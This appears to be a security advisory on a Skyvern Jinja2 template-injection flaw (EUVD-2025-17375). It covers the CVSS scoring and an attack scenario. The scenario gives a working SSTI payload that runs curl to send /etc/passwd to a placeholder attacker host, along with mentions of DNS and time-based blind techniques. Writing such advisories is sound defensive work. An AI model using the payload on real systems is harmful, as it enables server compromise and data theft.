Skyvern EUVD-2025-17375

This vulnerability presents a moderate-to-high real-world risk despite authentication requirements. CVSS metrics show: AV:N (network-accessible), AC:L (low complexity - no special conditions needed), PR:L (requires authenticated user), UI:N (no user interaction beyond initial setup), and S:C (scope change - impacts beyond the vulnerable component). The CVSS base score of 8.5 reflects high confidentiality impact (C:H) but lower integrity/availability (I:L/A:N), suggesting data exfiltration is the primary concern. The authentication requirement (PR:L) significantly reduces attack surface compared to unauthenticated SSTI, making this a credible insider threat or compromised-account scenario. Without explicit KEV or EPSS data provided, the 'blind RCE' nature suggests successful exploitation requires blind techniques (time-based responses, out-of-band callbacks) but is entirely feasible. The low attack complexity and network accessibility make this a realistic priority for organizations deploying Skyvern in multi-tenant or untrusted-user environments. Real-world risk is elevated if: Skyvern instances are internet-facing, handle sensitive workflows, or have multiple authenticated users.

An authenticated user with workflow-editing permissions (or an attacker with stolen credentials) creates or edits a Navigation v2 Block workflow. In the Prompt field, instead of entering a normal prompt like 'Navigate to login page', they inject a malicious Jinja2 expression: {{ request.application.__globals__.__builtins__.__import__('os').popen('curl http://attacker.com/exfil?data=$(cat /etc/passwd)').read() }}. When the workflow executes on the server, this expression is evaluated by Jinja2, triggering code execution that exfiltrates sensitive files to an attacker-controlled server. Because the RCE is 'blind' (no direct output to attacker), the attack relies on out-of-band channels (DNS exfiltration, HTTP callbacks, or file writes to accessible locations). An attacker could also use time-based blind techniques (sleep commands) to confirm successful injection. With low attack complexity and network accessibility, this is operationally straightforward for anyone with valid Skyvern credentials.